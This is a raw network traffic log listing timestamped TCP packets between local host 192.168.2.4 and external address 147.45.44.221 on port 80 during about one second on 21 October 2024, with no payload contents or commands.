Oct 21, 2024 08:47:31.069164038 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.069164991 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.069190979 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.069205046 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.069215059 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.069215059 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.069225073 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.069236994 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.069247961 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.069248915 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.069261074 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.069269896 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.069278002 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.069294930 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.069312096 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.069319963 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.069330931 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.069340944 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.069364071 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.069387913 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.069413900 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.069423914 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.069433928 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.069458008 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.069462061 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.069473028 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.069483042 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.069488049 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.069498062 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.069508076 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.069509983 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.069535971 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.069545984 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.115082026 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.115091085 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.115097046 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.115139961 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.115329027 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.115339994 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.115349054 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.115375996 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.115412951 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.160646915 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.160774946 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.160806894 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.160819054 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.160876036 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.168665886 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.168674946 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.168684959 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.168713093 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.168729067 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.168731928 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.168744087 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.168775082 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.168776035 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.168788910 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.168801069 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.168807983 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.168812990 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.168823957 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.168837070 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.168862104 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.168865919 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.168884993 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.168895960 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.168905973 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.168919086 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.168924093 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.168930054 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.168941021 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.168962002 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.168987989 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.168998957 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.169011116 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.169044971 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.184603930 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.184715033 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.184768915 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.184786081 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.184796095 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.184804916 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.184814930 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.184824944 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.184834003 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.184844017 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.184854031 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.184864998 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.184875011 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.184885025 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.184895039 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.184906006 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.184916019 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.184922934 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.184936047 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.184937954 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.184946060 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.184951067 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.184967041 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.184978962 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.184983969 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.184990883 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.185002089 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.185013056 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.185026884 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.185036898 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.185036898 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.185044050 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.185054064 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.185062885 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.185070992 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.185075998 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.185082912 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.185092926 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.185103893 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.185105085 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.185123920 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.185129881 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.185136080 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.185146093 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.185156107 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.185163021 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.185165882 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.185178995 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.185189009 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.185205936 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.185214996 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.185215950 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.185234070 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.185245037 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.185246944 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.185256958 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.185267925 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.185271978 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.185297966 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.185318947 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.185321093 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.185355902 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.185360909 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.185370922 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.185408115 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.185435057 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.185447931 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.185486078 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.288986921 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.293987036 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542109966 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542123079 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542131901 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542139053 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542239904 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542241096 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.542251110 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542262077 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542274952 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542285919 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542296886 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542308092 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542310953 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.542310953 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.542334080 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.542373896 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.542396069 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542414904 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542431116 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542440891 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542462111 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.542498112 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.542498112 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.542524099 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542540073 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542551041 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542558908 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542573929 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542598963 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542608976 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.542608976 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.542617083 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542629004 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542633057 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.542639971 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542645931 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.542651892 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542658091 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.542664051 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542675972 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542685986 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542686939 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.542696953 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542709112 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542718887 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542722940 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.542732000 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542735100 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.542747974 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542766094 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.542766094 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.542768002 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542781115 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542790890 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542803049 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.542804003 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542820930 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542824030 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.542830944 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542835951 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.542860985 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.542917013 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542927980 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542937994 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542946100 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.542970896 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.542970896 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542984009 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.542993069 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.543014050 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.543014050 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.543019056 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.543066025 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.543066025 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.543095112 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.543103933 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.543152094 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.543162107 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.543170929 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.543183088 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.543214083 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.543287039 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.669497967 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.669507980 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.669519901 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.669529915 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.669557095 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.669572115 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.669583082 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.669593096 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.669595957 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.669605017 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.669609070 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.669620991 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.669639111 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.669646978 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.669647932 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.669647932 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.669657946 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.669670105 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.669683933 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.669691086 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.669703007 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.669703960 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.669714928 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.669724941 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.669749022 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.669750929 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.669750929 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.669787884 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.669800997 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.669806004 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.669816971 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.669878006 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.669878960 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.669892073 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.669899940 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.669918060 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.669950008 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.669996977 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.670006037 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.670011044 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.670043945 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.670046091 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.670053959 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.670068026 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.670069933 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.670079947 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.670095921 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.670097113 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.670097113 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.670111895 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.670116901 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.670123100 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.670147896 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.670151949 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.670162916 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.670173883 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.670186043 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.670186043 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.670208931 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.670224905 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.670277119 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.670277119 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.670289040 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.670344114 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.670353889 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.670362949 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.670382977 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.670382977 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.670403957 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.670414925 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.670423031 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.670424938 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.670448065 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.670454979 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.670464993 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.670474052 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.670494080 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.670494080 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.670507908 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.670546055 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.670546055 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.670546055 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.670556068 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.670598030 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.670598030 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.670630932 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.670641899 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.670686960 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.670892000 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.670902967 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.670912027 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.670959949 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.670963049 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.670963049 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.670974016 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.670984030 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671001911 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671003103 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.671015024 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671025038 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671036005 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671037912 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.671046972 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671051025 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.671076059 CEST	49732	80	192.168.2.4	147.45.44.221
